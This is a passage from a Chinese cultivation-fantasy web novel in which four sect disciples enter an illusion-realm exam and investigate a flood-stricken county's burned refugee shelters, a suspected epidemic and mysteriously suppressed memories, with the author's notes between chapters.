她连忙抓过汤碗,喝了口汤顺了顺:“弟子斗殴……还是同其他门派的弟子,不会受到惩戒吗?” 步雁山诧异道:“是你和小悯受了挑衅,惩戒你们做什么?我不惩戒他都算我仁义了。”?有时候归墟人说话真挺流氓的,褒义的那种。 “再者,按照仙盟的安排,日后的武器课上迟早会让你们弟子之间比试武艺,遇上他也是极有可能的事,迟早要打,不如多打几次适应一番他的出招习惯。”步雁山又说。 关云铮已经被惊得说不出话了,过了好一会儿才用一种笃定的语气说道:“你不是掌门,你是师父变的。” 步雁山哈哈大笑:“那我是不是该趁这个时机多做些以往不会做的事,等师兄回来了,全部推到他身上?” 关云铮和楚悯:“?” 一旁的谭一筠和叶泯:“?” 完蛋了,坑人属性开始出现人传人现象了! **** 下午的符咒课作为幻境考察前的最后一节课,整堂课期间,学堂内的氛围都异常紧绷。 关云铮觉得就算此时仅仅是从窗外刮进来一阵风,都得把不少人紧绷的心弦吹断。但褚先生仿佛对这一切恍然未觉,淡定地坐在自己那张书桌前,继续翻阅他的卷册。 关云铮已经把悬浮在她周围的这数十个符咒学会了……五分之一,能够一笔画完这部分符咒了。 但很可惜,符咒课不是小游戏,一笔画完也无法通关,还得在下笔时在笔尖倾注灵气,这个符咒被画完后才能真正具备效力。 关云铮原本以为自己对灵气已经有了几分掌控,可只要想把灵气倾注到笔尖,她就无法顺畅地画完早已熟悉的符咒。 那种感觉像是拥有了灵气的笔具备了自我意识,不能再装聋作哑地忍受她这一手鬼画符,所以在她手中剧烈地反抗起来,画符咒的过程就像是手掌与笔的角力。 而角力的结果通常是她的全然溃败。 关云铮跟笔打架打累了,长叹一口气把笔丢开,靠在椅子上好一会儿才回过神来,歪过头看向一旁的楚悯。 楚悯正专心致志地画着符咒,对她的目光若有所感,嘴上说着:“不如就顺其自然,让笔来带动你?” 关云铮有点郁闷:“那不就是笔在画符了吗,不算是我画的了。” 楚悯手中动作微顿,随即笑了起来:“何必在乎这些?有些剑修到了最后不也是物我两忘,究竟是剑在出招,还是人在出招,又有什么重要的呢?在他人眼里,皆是你在出招。” 也是。 关云铮若有所思:“我好像太过拘泥于小节了。” 后座的谭一筠不知何时停下了笔,默默听着两人的对话到现在,才在后排开口说道:“依我看,倒也不是拘泥于小节。” 他话音刚落,叶泯也掺和进来:“武修似乎很容易陷入这种对自己的质疑,但是音修就不大会。” 关云铮闻言转过头:“这还跟所修之道有关?” 叶泯已经练习过几遍破解幻境的符咒了,此时放下笔说道:“乐音是由乐器发出的,而非人,音修的修炼本质是人调整乐音,而非驱使乐音,乐器生来便会演奏乐曲,人只不过是以自己的意志去修改乐曲,以达到目的罢了。” 还没等其余三人对这套理论提出见解,叶泯又接着说道:“武器却非天然便会攻击,剑招一类的人创招式,自然更是不可能,所以武修修炼的过程中,驱使的意味更重,也更容易陷入……究竟是人的剑意,还是剑的剑意,这样的纠结之中。” “如果武器不是天然便会攻击,又怎么能说乐器天然便会演奏呢?难道你指的演奏是不成调子的单独乐音,攻击却是成体系的招数吗?那岂非很不公平?”楚悯不知何时放下了笔,转过半个身子后提出这样的疑问。 叶泯没有回避问题:“可能是我见识短浅,只见过灵兽派的新生乐器,不曾见过天生地长的武器,新生乐器自诞生起便会演奏,你应该也见过。” 如果是指月下逢的话……那它可太会演奏了。关云铮腹诽道。 谭一筠点了点头:“这倒确实,我也不曾听闻世上还有天然形成的武器,或者说,未经雕琢的武器。” “为何乐器能自然形成并现于人前,武器却逃不开人的雕琢?”关云铮思索着。 “不如就带着这些疑问进入幻境,或许换了一方天地,就能想明白了。”褚先生不知何时走到了四人周围,随手拂开悬浮在他们身边的金红色符咒后说道。 **** 翌日一早,练武场上排开数十个幻境入口,私下里组好四人队伍的教习弟子等待在这排入口前,静候步雁山考前的指示。 “幻境考察并非绝对的公平。”步雁山说道。 关云铮一愣,啊,这,这话是能说的吗? “因为它自诸位的心境而生,在踏入幻境的当下,或许各个幻境皆是相同,但越深入,幻境受到心境的影响便会越大。”步雁山继续说,“因此,我需提醒诸位,请在进入幻境前牢记破境之法,切勿迷失。” “另外,还有一事需要告知诸位。幻境中时间流速与外界不同,但具体的速度尚未可知,诸位可将其视为梦境的流速,请自行把握时间。”步雁山一抬手,数十个幻境入口开始缓缓地“流动”起来,像一个个深不见底的漩涡。 关云铮本来就紧张,见到此景更是下意识握紧了手中的摇羽,被金属质感硌了硌手心,才勉强镇定下来。 “时间到了。”步雁山抬头看了眼天空。 他话音刚落,幻境入口瞬息间扩张开来,还没等众人反应过来便近至眼前,把原本离了一丈之远的弟子们拉了进去。 而步雁山的声音仍在众人的耳边飘荡:“望诸君旗开得胜,我们——幻境外见。”—— 作者有话说:*这句我没找到一致的出处说法,大约是句杂糅的句子?总之是差不多的典,不太严谨,姑且标注一下 五月底和六月初这段时间工作上的事情很多,再加上这段剧情我有点不知道怎么开始,所以卡了蛮久的。不过最近应该有好多小可爱都在忙期末考,没准大家考完回来,云崽和朋友们已经考完啦[撒花] 也祝高考的小朋友们旗开得胜捏[亲亲] 想要评论[可怜] 第100章 “听说今早城西大火, 你们看见了吗?” “城西?那群灾民住的地方?好端端的,怎么会着火?” “我记得这几日那边一直在搭建给灾民住的窝棚,这时候起火……别是把窝棚都烧了吧?” “似乎是烧光了, 县衙那个小司簿, 大早上天都没亮,头都没梳就奔过去了, 回来时眼睛都是红的, 想来是哭过了。” 谭一筠刚睁开眼就听见这三人对话的声音传来,下意识环视一圈,发现是三个无甚特别之处的过路人。 等等,他为何要着重强调“无甚特别”?需要有什么特别之处? 这又是哪?他方才在做什么?为何一点记忆都没有了? 谭一筠皱起眉头,总觉得自己忘记了什么很重要的事情。 子不语从他身后绕到他面前,扇面上缓慢浮现出几个字, 但还没等他倾注视线将其看清,那些字迹就消失了。 谭一筠的眉头瞬间皱得更紧了:“你方才要说什么?” 子不语却没有再浮现出新的字迹, 只在空中微微晃了晃,又重新飞回了他身侧。 古怪……一切都透露着古怪, 但他又说不上来究竟是哪里古怪。 那三个过路人本要从他身边经过, 却忽然在他面前停下脚步,用一种古怪的眼神打量了他片刻。其中一人犹豫着开口:“敢问……阁下可是仙师?” 谭一筠一把捞住子不语收起:“不敢当,在下只是翠屏山弟子, 算不上仙师。” “翠屏山?”另一人问道, 他扭头看向第三人,“你听过这名字吗?” “有点印象……翠屏山离这路途遥远,这位小师父,你为何孤身来到此地?”第三人问道。 谭一筠总觉得自己如今似乎并不在翠屏山,但却想不起来究竟在何处修习, 干脆不再折磨自己,把此事先搁置一边,反问道:“不知此处是……?” 最先发问那人的眼神更古怪了,好一会儿才说:“此处是江县。” 江县?似乎也在哪里听过…… 还没等他想出个所以然,身后一道有些熟悉的声音响起:“谭兄。” 那三个过路人见他来了同伴,彼此对视一眼,重新与他擦身而过了。 听见呼唤的谭一筠转过身,看见来人的瞬间,像是有人刻意提醒一般,忽然想起了来人的姓名:“楚姑娘。” 楚悯点了点头:“见到云铮和叶泯了吗?” 谭一筠皱起眉,正要脱口一句“这二人是谁”,话到嘴边却诡异地拐了个弯:“尚未见到。” 对啊,他分明是认识云铮和叶泯的,方才怎么好像全然没听过这两个人名似的…… 楚悯像是看出他在想些什么,直截了当道:“此处有异常,但卦象不明,无法探知更具体的消息,只能先找到他们,再做打算。” 谭一筠跟上她匆忙的脚步,没忘了提起方才自己获得的消息:“之前那过路人说,此处是江县,楚姑娘,此地可有何特别之处?” “我只知道此地正处于灾后重建,而刚建起的窝棚已经被有心之人一把火烧毁了。”楚悯边走边说,左手掌心的卦阵一直在运转着。 与楚悯会合后谭一筠便松开了手,子不语没了束缚,再次展开扇面,悬浮在谭一筠的周围,听见楚悯的话,扇面上再度浮现出星星点点的墨迹。 这次谭一筠没能错过这动静,但他专心盯着扇面半晌,只见那些墨迹始终处在忽隐忽现的状态,没法看清楚究竟是哪些字。 楚悯回头看了眼扇面:“不用看了,我们的记忆被动了手脚,我能察觉到很多记忆被暂时压制无法想起,但究竟是因为什么,还没弄清。” 谭一筠终于找到了合适的措辞形容自己的感受:“记忆被动了手脚……难怪我见到你的那一瞬,几乎没能想起来你是谁。” “子不语应该也是受此处影响,无法提供准确的讯息。”楚悯简短说道。 毕竟是个根据记忆给出提示的法器,至少得有可以调用的正确记忆才能成功运作,如今记忆被动了手脚,子不语的提示自然也无法展现。 谭一筠忽然意识到不对,快走两步赶上楚悯的步伐:“楚姑娘,自你来到此处,卜算过多少次了?” 楚悯一愣,随口道:“没计算过,期间起卦失败了几次,卦象不明有几次。” 谭一筠不明白自己为什么有种危机感,他听见自己急切地说道:“你卜算得太多了,该停下了。” 楚悯不太在意地转头,打算与他说些什么,脚下的步伐同时没做停留。 没能时刻关注前路的后果就是——她在将要拐过街角时“砰”地与人相撞。 “小悯?”另一边拐过来的关云铮一把托住了她的手臂,又看向她身后,“谭一筠?” 谭一筠朝她点了点头:“云铮见到叶泯了吗?” 关云铮不着痕迹地皱了皱眉:“还没见到,一起去周边找找吧。” **** “虽然还没找到叶泯,但暂时可以汇总一番我们三人得到的线索。”关云铮边走边说,“谭兄听见了路人的谈话,此处是江县,灾民汇聚在城西,然而路人所言与小悯卜算出的卦象都显示,给灾民们建造的窝棚被今早的一场大火烧毁了,且当地县衙的司簿应当是帮助灾民的一方,对吧?” 谭一筠和楚悯一同点了点头:“应当是这样。” 关云铮“嗯”了一声,接着说:“但灾民似乎并不完全聚集在城西,大街上也有一些,我方才过来之前,还见到了一部分行为古怪的人。” “行为古怪?”楚悯复述道。 “看他们穿着打扮是灾民模样,但……从样貌上看,并不苦于温饱。”关云铮回忆着方才遇见那群人的细节:一直挨饿的人能有那样明亮有神的眼睛吗?还有那沉稳有力的步伐,快比她还健康了,这不对吧? “而且他们的行为十分鬼祟,有端怀疑是在谋划些什么见不得人的坏事。”刻意避开主路,说话之前总是四下环视,说话时还会有意压低声音,就差把“我们是坏人”写在脸上了。 自从三人相遇关云铮的言辞便十分严肃,此刻终于听见奇怪的“关云铮式”用词,楚悯莫名放下心来,接话道:“难道是有心之人打扮成灾民模样?” 关云铮摇了摇头:“尚未可知,继续观察吧。”她忽然想起什么,看向谭一筠道,“县衙司簿……是个女人?” 谭一筠疑惑:“为何这样问?” 明明男女都有可能披头散发地奔出家门,几个过路人的谈话中也并未透露那司簿是男是女。 “不知道。”关云铮坦荡地摇了摇头,“就是那种……灵光一闪,你们懂吗?” 谭一筠深以为然地点了点头:“这地方太奇怪了,总感觉不是我们在调用记忆,而是接触到的人和事在调用我们的记忆,就好比我在见到楚姑娘之前,根本没想起来我还有同伴。” 关云铮也点点头:“我这一路都是靠这种莫名其妙的灵光一闪找过来的,也不知道究竟是怎么回事。” 三人边走边说,正经过一处粮店,忽然听见那倚在门前的店主人说:“也不知道那新来的大人有没有能耐,把这烂摊子料理干净。” 粮店旁边的另一家铺子老板正在翻晒自己的货物,闻言擦了一把脸上的汗,直起身来说:“要我看,江县这地方除非把那狗头县令换了,不然别想翻身。” 粮店老板是个大腹便便、双眼小却有神的男人,闻言一双眼眯了起来,低声道:“这话你也敢说,不要命了?” 另一家铺子的老板是个瘦高个,听他说这话“嗤”了一声:“指着他鼻子骂的没有一百也有几十,哪里顾得上同我清算。” “这你就不明白了,你当我是忌惮他吗?”粮店老板把声音压得更低了,密密切切的,关云铮三人几乎没能听清楚,“我是忌惮他背后的人。” 三人顿时觉得他们不能再跟棍子似的杵在大街上了,一眼看来,偷听的意图简直昭然若揭。关云铮四下环视,发现附近正好有个小茶摊,连忙拉着楚悯过去。 还没等两人坐下,只见茶摊隐蔽处忽然探出个脑袋,正是他们寻找了好一阵的叶泯。 他乍一见到关云铮和楚悯,反应也如同她们方才一般,愣了片刻才说:“你们也来了。” 一旦想起同伴们的姓名,之前被模糊的记忆便仿佛恢复正常,没有丝毫阻滞。关云铮和楚悯对视一眼,压下心头关于此事的疑虑,和谭一筠一同在叶泯所在的桌边坐下。 不过这茶摊离那两位店主的距离…… 只见叶泯往方才那粮店的方向看了眼:“放心,这个距离能听见。” 他把手伸进怀里的乾坤袋中,摸索一番后拿出个像耳朵一般的小物件。 “过来坐下之前我丢了另一个在那边。”叶泯把那小物件放在木桌正中,“其实就是个传音法器,平时不太用得上,方才不知怎么想起来了,大概是因为云铮说的那什么,灵光一闪吧。” 关云铮正专心听那法器里传来的动静,闻言只点了点头,没接话。 他们走过来时应当错过了几句对话,现下那两人已经聊到了粮店老板为何知晓县令背后有人一事,声音压得更低了,像是在密谋造反。 “你可知朝廷这次拨下来一笔赈灾款?” “赈灾款?怎么一点消息也没听到?” “一阶阶官员,层层盘扣下来,你哪还能知道这笔款的存在?” “你的意思是,县令也参与其中?” “是否贪赃我不知道,但近日出入县令宅邸的人明显多了起来,兴许在商议什么大事……也说不定。” “没准是灾后重建的事?人多些也无可厚非。” “灾后重建?你当我们那县令是菩萨转世?不都是他手底下那个小司簿在忙前忙后吗?什么时候见他动过一根手指,灾民所大门朝哪儿开,他怕是都不知道吧。” 灾民所?关云铮捕捉到了这个词汇。 “说到灾民所……那地方都好些年了吧,能住人吗?” “唉,早就不能住了,不然司簿为什么要搭窝棚。” “司簿那么费心费力,窝棚被烧毁可怎么办啊。” 四人坐在这一动不动难免使人生疑,关云铮听到这抬手拿起茶碗,喝了一口茶。 差点没能维持住自己脸上的表情。 正好那两人聊到这也不说话了,唏嘘几声后便各自去忙自己的事了,楚悯收回注意力,正好看见一旁的关云铮整张脸都皱在一起,不由愣了愣:“怎么了云崽?” 关云铮勉强控制住自己的表情,平静道:“方才咬到舌头了。喝完这碗茶我们就继续往前走吧,我打算去他们说的灾民所看看。” 三人没觉出异常,纷纷点了点头,陆续拿起茶碗喝了一口茶。 “噗——”这是叶泯。 “咳咳咳……”这是楚悯。 “天爷这什么……”这是谭一筠。 关云铮淡定地把自己面前的茶碗推远:“其实是茶太苦了,但总不能只苦我一个人,所以……” 楚悯失笑,谭一筠失语,叶泯指着关云铮“你你你”了半天,最后只说出一句:“真是近墨者黑啊。” **** 四人沿路同不少人打听过消息,发现灾民所与城西搭建起来(现已被烧毁)的窝棚并不在同一处,窝棚在城西,灾民所在城东,中间隔了一条不宽不窄的河,是江县名字中,曲江的分支。 不同于其他三人,关云铮发觉自己此刻的记忆虽然也符合“被人或物调动”的特性,但现代的那部分记忆不受影响,毕竟这部分记忆与此处没什么相干,不横加干涉也不会影响结果。 但到底是什么结果?为什么他们的记忆会受到这样的干涉?怎么总觉得答案好像就在眼前,却死活想不起来? 关云铮在心里叹了口不明不白的气,和楚悯并肩走上桥,打算从此处过河,抵达城东。 这桥是古代常见的拱桥,两端与顶部的高度落差很大,必须走到桥的最高点才能看见另一端的景象。 楚悯又在掌心起卦,算了一卦后眉头便蹙了起来,感觉到关云铮的视线后解释道:“灾民所那边似乎不太对劲。” 楚悯卜卦,向来只有算得出来和算不出来两种结果,这么含糊其辞的似乎还是头一次,关云铮不由复述道:“不太对劲?” 还没得到楚悯的回答,四人已经走到了拱桥最高处,叶泯正心不在焉,被谭一筠伸手拦住时还没停下脚步,差点头重脚轻地滚下去。 他惊魂未定地回过神,松开了自己紧抓着谭一筠袖子的手:“这是在做什么?” ——拱桥的另一端,进入城东的入口处,摆上了半人高的障碍物,看起来几乎有些像是战事中才会用上的塞门刀车。 落后一些的关云铮见状皱起眉,快走两步到两人身侧:“这是不让城西的人过河吗?” 叶泯的袖子动了动,他回过神来往袖子看了一眼,又侧头看向另外三人:“灵犀似乎感觉到了什么,我们先下桥找个地方?” 关云铮脱口道:“我就知道你会把灵犀带……” 带到哪?她直觉自己原本想说的并非江县,那会是哪?为什么一点也想不起来了? 她面色不改地接上自己的话:“带着就好,能便利不少。” 虽然在编瞎话但还是无意识单押了,这就是她的高超说话水平,嗯。 四人吃了一嘴城东送来的闭门羹,原路返回,找到一处无人经过的角落,看着叶泯从袖中拿出灵笼。 “它能稍微变小一点吗?原体型现身,怕是会惹来注意。”关云铮说道。 叶泯一边点头一边说:“能,灵笼上有同样的束缚术法。” 一点荧光从他指尖亮起,只见他低声念了几句听不清的咒言,灵笼随即散发出一阵亮眼的光,缩小了许多倍的灵犀被叶泯提前伸出来的手稳稳接住。 叶泯把手凑到自己耳边,似乎在听灵犀“说话”,过了好一会儿才任由“说完”的灵犀缠住他的手腕,向三人解释道:“方才我们在桥上时,灵犀闻到了一些草药的味道。” “草药?”谭一筠问道。 叶泯点了点头,神情凝重起来:“它还闻到了……将死之人的气息。” “隔着半座桥就闻到了?”虽然一直知道动物的嗅觉很敏锐,但这也太敏锐了吧?关云铮不由得讶然。 “难道城东……有疫病?”自从四人原路返回便一直沉默的楚悯说道。 “那灾民所里的灾民……?”谭一筠皱起眉头。 现在整个江县内部,光是灾民就能分出三种,在城西刚被烧毁了窝棚的是第一种,在街头巷尾精神面貌很好的“假灾民”是第二种,在城东灾民所里生死不明的,是最后一种。 原本城西的灾民应当是最容易接触到、也最容易询问出线索的,但当时他们四人尚未会合,两相对比之下,会合自然占据更高的优先级,便把这件事先抛之脑后了。此刻四人已经到了城东,究竟是想出办法突破障碍去往灾民所,还是再走一段路回到城西去找那群灾民,成了当下亟待解决的问题。 关云铮其实是个很不在乎沉没成本的人,平生最烦的话之一就是老中人经典语录“来都来了”,如果费尽千辛万苦去某个地方后一看,那地方根本对不起她一路而来的奔波,她也能二话不说地翻脸走人,头都不带回的。 但灾民不是展现在互联网上的网红商品,城东也不是说调头离开就能离开的网红景点,所谓的沉没成本在人命面前不值一提。 “诸位,要一起杀出重围吗?”一番思考过后,关云铮问道。 **** 杀出重围什么的……还是太看得起江县的官员了。 他们原以为城东的看守应当会同摆出来的障碍物一样严格,事先甚至商量了两套方案: 方案一,由看着就十分稳重、颇具亲和力的谭一筠上前问话,分散看守的注意力,另外三人借着术法等手段的庇护,趁机溜进城东。 方案二,如果方案一失败,被察觉真实意图,动手在所难免,要尽可能地减小动静,毕竟江县的局势尚且不明朗,几个修士混入其中,极大概率会把这滩水搅得更浑,这无益于他们的调查。 结果等关云铮三人拿着事先铺设好传送阵法的子不语悄悄翻越哨卡时,谭一筠那边已经诡异地打通了障碍,大摇大摆地进入了城东。 原本还打算若是谭一筠进不来,等他们三人过来后让他用传送阵法过来会合呢。 关云铮正腹诽着,子不语扇面一闪,三人立马退开些距离。 谭一筠凭空出现,一把捞过空中的子不语:“快走快走。” 叶泯一头雾水:“我看那守卫不是没怎么难为你吗?” 谭一筠一边快速往房屋之间的窄巷中走,一边说道:“我同他说,我是朝廷派来医治灾民的郎中,同县衙那边打了招呼才来的。” 对此事感到的荒谬已经超过了想要计划成功的迫切,关云铮匪夷所思地问道:“你是这么同他说的?你这相貌哪有郎中的样子,他居然就信了?” 谭一筠走得脚下生风:“不足为信,所以我用了个障眼法。” “那你还逃这么快做什么?障眼法不都生效了吗?”叶泯更困惑了。 与关云铮并肩行走的楚悯幽幽说道:“大概是学艺不精,障眼法的时效快到了,一旦那人回过神来,我们就要被发现了。” 谭一筠连连点头:“楚姑娘机敏过人,真叫人佩服!” 关云铮简直想踹他一脚:“快走吧你!罗里吧嗦的。”—— 作者有话说:谭一筠真正人格·话痨堂堂登场! *修改于9.25,改了一处逻辑错误,感谢读者十年灯的指正[可怜] 100-110 第101章 楚悯手心的卦阵在此时充当了罗盘, 虽然出于某种暂且不明的原因,卦阵卜算不出灾民所里的人们究竟状况如何,但灾民所大致的方位还是能卜算清楚的。四人循着指引的方向疾走一阵后, 不用借助灵犀的嗅觉, 也能闻到空气中传来一股混杂着腐败气息的草药味。 用腐败来形容或许也不太准确,因为那是一种介于腐败和鲜活之间的味道, 闻到的一瞬间不会产生强烈的不适, 反而让人心里生出一股迫切想要探查清楚的求知欲:究竟是什么在走向腐败? 很快他们就走到了答案的面前。 所谓的灾民所没有大门,原本应该是门的位置只剩下一掌宽的木门残片,挂在门轴上摇摇欲坠,走到“门”前,就能看见里头杂草丛生的院子。院子后有间一眼能看见内墙的屋子,倒是还有门, 只是和窗户一样是雕花镂空构造,凉风自由穿行其间毫无阻碍。屋子比院门高一截, 看过去的视线不受阻碍,坍塌的一角屋顶毫无遮挡地映入眼帘。屋顶掉落的碎瓦片堆在院子角落, 上面长出了青苔。 关云铮委实被这样的生存环境震慑到了, 过了好半晌才说:“这里面还有活人吗?” 叶泯用指腹碰了碰灵犀凑上来的脑袋,笃定道:“有。” 谭一筠闻言准备直接跨进去,被关云铮一把拽住了。 她低头在乾坤袋中翻找一番, 翻出几块比手帕大些的布:“把口鼻遮住再进去。” 三人配合地接过, 各自把口鼻蒙上,在脑后打好固定的结。 “你担心真的有疫病?”叶泯问道。 “如果真是疫病的话,用这布遮挡也无济于事,当心接触,不要靠近咳嗽的人。”关云铮简短道。 虽然不知道究竟是什么样的疫病, 但多数传染病传播途径中都有凭借飞沫传播这一条,哪怕她从乾坤袋中取出的这些布从密合度和过滤效率来说都不合格,但蒙住口鼻多少能遮挡一点。 而且她隐约有种说不清楚的直觉:哪怕运气实在太差,染上了这里的疫病,也不会要了他们的命。 ——但灾民的命就说不定了。 四人蒙住大半张脸,一同跨过那已经破烂不堪的门槛,先后往里走。 洪灾之前必有大雨,如今雨势减缓,院子里没有多少积水,但依旧透出些潮气。靠坐在院墙下的一对母子听见动静,母亲恹恹地抬起头来看了四人一眼,又把视线收了回去。 屋子门口坐了一男一女两个幼童,个子小些的男孩正靠在女孩的怀里,面上几乎没有血色,疲倦地呼吸着,间或闭着眼咳嗽两声。 四人纷纷在两位孩童面前停下脚步,觉得没有再往里走的必要了。 关云铮原本还打算到了灾民所问一问此处的灾民情况究竟如何,现在看来,似乎也没有必要询问了。 此处毫无疑问不是灾民们的避难所,他们在这里不会得到妥善的照顾,只会在艰难的生存环境中逐渐走向死亡。 原本想问的“怎么不去城西的窝棚找个地方住”,此刻变成了“何不食肉糜”一般残忍的话。 活着尚且十分艰难,哪里又有气力翻越县衙设下的障碍,去往县城另一头的城西呢? 同情心在房门前拉起了警戒线,但求知欲不懂为人做事的分寸与边界,迫切地想要知道,那股草药味究竟从何而来。 关云铮在门前停顿片刻,最终还是跨进了那看起来马上要坍圮的屋子里。 一跨过门槛,草药味顿时浓郁起来。关云铮四下打量,终于发现屋子的窗边支着一口锅,正在咕嘟咕嘟地发出液体煮沸时的动静。 草药的味道并不好闻,与中药房里散发出加工过的复杂苦味不同,草药的气息里只带着微薄的苦味,其余浓重的都是未经处理的,来自草木的生涩气味。 再配上那咕噜作响的动静,关云铮恍惚间几乎要以为自己不在灾民所,而在后妈茶话会。 没有拿灾民的生死开玩笑的意思。 关云铮习惯性在心里为自己叠甲,凑近了锅炉打量:“这药究竟是拿来治什么的?” 虽然她到现在已经默认了灾民们患的就是疫病,但在心底深处,她当然希望他们可以不用患这种……在古代染上就几乎必死无疑的病症。 房门外传来几声低咳,那男童的姐姐把他从外面半扶半抱地抱回来,见了他们后解释道:“我听人说这些草药能治病。” 谭一筠是假郎中,不通医理,关云铮是差生,且中医学考试只背了老师给的重点,两人对草药实际一窍不通,闻言只能把目光投向了一旁的楚悯。 楚悯手心的卦阵还亮着,此刻却摇了摇头,表示自己算不出来。 进门后一直没说话的叶泯却忽然说道:“你这草药是从哪摘的?” “在河边,怎么了,是药不对吗?”那女童顿时紧张起来。 叶泯正从锅前抬起头:“药是对的,但是……”他似乎是一时找不到合适的措辞,改口道,“你和弟弟在这稍等,我去河边一趟。” 他说完便要出去,关云铮连忙跟上,迈出一步又觉得不妥,回头看向谭一筠和楚悯。 谭一筠会意,向她点点头:“我留下来,你们去吧。” **** 在走出灾民所之前,关云铮以为他们得找很久才能找到那个孩子所说草药生长的地方,毕竟这条河纵贯江县,少说也得有个几百米长,他们三个人找不知道要找到什么时候。 谁料刚迈过那道破烂不堪的门槛,叶泯就对她和楚悯说道:“那锅里煮着好几种草药,各种气味混杂在一起,灵犀也闻不出来究竟都是什么。” “那你方才是发现什么了?”楚悯问道。 叶泯下意识回头看了眼灾民所那不存在的大门:“锅边落了点草药碎屑,我捡了一小撮。”他把左手摊开在两人面前,“据我所知,这药只生长在鹧鸪山。” 伴随着他落下的话音,那种怪异的、记忆被触动的感觉又出现了。 说话像NPC一样的过路人,被触发才能想起来的记忆,只生长在鹧鸪山却出现在此处的草药……关云铮皱了皱眉:“先去河边看看吧。” 三人思虑重重地往河边走。 过了这么一段时间,也没听见方才那守卫找人的动静,要么是还没被发现,要么是当地府衙当真对灾民所里那几条性命漠不关心,总之三人此刻没了来时的顾忌,不再借助狭窄的小巷遮掩行踪,循着卦阵指引直奔河边——不管怎么说,草药出现在距灾民所最近河段的概率一定是最大的。 目的明确后,奔向目的地的过程中可以稍微放松一点,关云铮忍不住向叶泯问道:“你究竟是怎么听懂灵犀说话的?它真能说话吗?” 叶泯还真被她问住了,犯难了好一会儿才说:“灵犀虽然是灵兽,但年纪还小,未来兴许会化人……” 他说到这一抬头,正对上关云铮无奈的视线,意识到自己又在牛头不对马嘴,连忙改口道:“总之灵犀不会说话,它只是发出了一些只有我们灵兽派弟子能听见的声音。” 次声波?超声波?关云铮挑眉,难道灵兽派弟子所能听到的音调频率阈值跟普通人也有不同? 叶泯摆了摆手终止这个话题:“此事之后再说,不然说起灵兽派总是没完没了。方才那草药碎屑我给灵犀也嗅闻过,它也确认了就是鹧鸪山独有的草药。”他绕开一处障碍,“鹧鸪山地处西南,林木茂密,雨水丰沛,生长的许多草木都与外界截然不同,哪怕带了种子出来,也种不活。” 关云铮率先走到河边,弯下腰寻找时听见这话,福至心灵地扭头问道:“你们那吃蕈吗?” 叶泯不明所以:“吃,怎么了?” 关云铮也摆了摆手,示意他不必在意:“只是想起了一首歌。”但是太地狱了,不适合在这时候说。 三人陆续在河边蹲下,受洪灾的影响,河边异常泥泞,低矮些的草木全部被裹了一层泥沙,虬结缠绕在一处,不得不伸出手把草叶与草叶分开,再抹去泥沙,才能勉强窥见它们的真容。 “这么多泥沙掩盖着,灵犀是不是也嗅不出来那草药在哪?”关云铮扒拉了一会儿,颇觉头痛地问道。反正这么一会儿过去,她的鼻腔里满是水腥味和土腥味,已经闻不到别的气味了。 她一回头,发现叶泯脑袋都快扎草丛里了,顿时大惊:“叶泯你干什么呢?” 楚悯原本还在认真扒拉草丛,闻言扭头看去,正好看见叶泯顶着几片草叶拔出脑袋:“灵犀不见了。” 在这一刻关云铮决定给叶泯起个响亮的代号,以后就在心里偷偷叫他丢蛇专业户。 “兴许是嗅到了那草药的气息,先去找了?”楚悯问道。 叶泯愁得嘴角都挂下来了:“它现在的体型怕是会被河水冲走。” 关云铮埋头继续扒拉草丛,只不过这次的目标变成了找灵犀:“应当不会。” 又来了,这种说话不过脑子的感觉。 她虽然一直是个嘴跑得比脑子快的基础设定,但自从来了江县,某些话几乎不带一点犹豫就脱口而出了,笃定得像是太阳一定会从东方升起一样。 真是见鬼,究竟是哪里不对。 她发泄似的快速扒着草丛,终于在草叶和泥水这两种触感里,摸到了不太一样的东西。 滑溜溜冰凉凉的灵犀感觉到了她的触碰,兴许也嗅出了她是谁,正要亲昵地盘上她的手腕。 ——被她迅速提溜起来交给了身后的叶泯。 上次手速这么快还是跟师兄抢排骨。 等等,师兄? 关云铮维持着要转身回来的动作顿在原地,她怎么记得在此之前师兄也去了什么地方…… 灵犀嘴里叼着一小把草药,在叶泯的手心仰起脑袋。 “还真有?”叶泯一头雾水地把草药拿下来,“我记得鹧鸪山下没有叫江县的地方啊?” 关云铮掬了捧不算很清澈的河水把手上的泥沙洗干净,站起身来:“既然找到草药了,我们就先回灾民所吧。” **** 灾民所里的人不多,关云铮回来后凑近些挨个观察过,就算是染了疫病,这些人应当也都处于疾病的最初阶段,没有出现比较严重的临床表现。 疫病……不论是鼠疫、伤寒、天花还是其他历史上造成死伤无数的疫病,几乎都有高热和皮肤症状,灾民所里的人这两点都不满足,多数只是咳嗽和低烧。 关云铮坐在熬煮草药的锅边思索着,手腕却总被什么扎着不舒服,下意识把那东西抓了起来。 她准备随便看一眼就放到一边,目光扫过时却仿佛被什么触动,视线在手中的东西上停留了一瞬。 这是……青蒿?青蒿怎么会出现在这里? 不对。她什么时候认识青蒿了? 关云铮抓着手里这一小丛东西,抬头正见到那女孩在自己不远处,连忙朝她招手,等人走到自己面前后问道:“这个,也是河边采的?” 女孩仔细辨认了一会儿她手上的东西,摇了摇头:“不记得了。” 也是。关云铮收回手,印象中青蒿不长在这么潮湿的地方。 她已经放弃去思考为什么自己会有这样毫无印象的“印象”了,对女孩解释道:“这个,绞出汁,或许可以治好你们的病。” 女孩的眼睛瞬间亮了起来,忍不住靠近了一点,随即又想起什么,很快退回了原来的位置:“真的?真的能治好我弟弟吗?” 关云铮也想问问自己的记忆是不是真的靠谱,但对着这样一双眼睛实在是说不出残忍的话,只好含糊地答应下来:“我会尽力。” 女孩顿时更高兴了:“那我再去找!” 关云铮刚想出言阻拦,女孩已经像只小鸟一样飞出屋子了。 她只能把手里的青蒿丢给叶泯:“你跟她去找,带着灵犀,看看还有没有这种草。” 叶泯对她的安排没有任何意见,毕竟他们四人本就一筹莫展,能找点事做总好过在屋子里干耗着,一把接住那一小丛青蒿后飞快跟上了那个女孩,两人的身影很快消失在了院门外。 关云铮看向谭一筠和楚悯,叹了口情绪复杂的气:“我们先来理一理目前存在的不对劲之处吧。” **** “我们的记忆都被动了手脚。”谭一筠率先说道。 楚悯点了点头:“但似乎并非修改,只是遮掩了,触及某些事物就能被唤起。” “但这些事物似乎并不存在什么联系……”关云铮皱着眉说。 谭一筠抬起手把子不语轻轻一抛,折扇“唰”一声在空中展开,扇面上浮现出不连续的一片墨迹。 同伴姓名,江县,司簿……全都是截至目前他们出现过的,“灵光一闪”。 谭一筠看向关云铮:“方才那草药是什么?你先前在何处见过?” “叫青蒿,我应当是在哪见过它的功用。”关云铮答道。 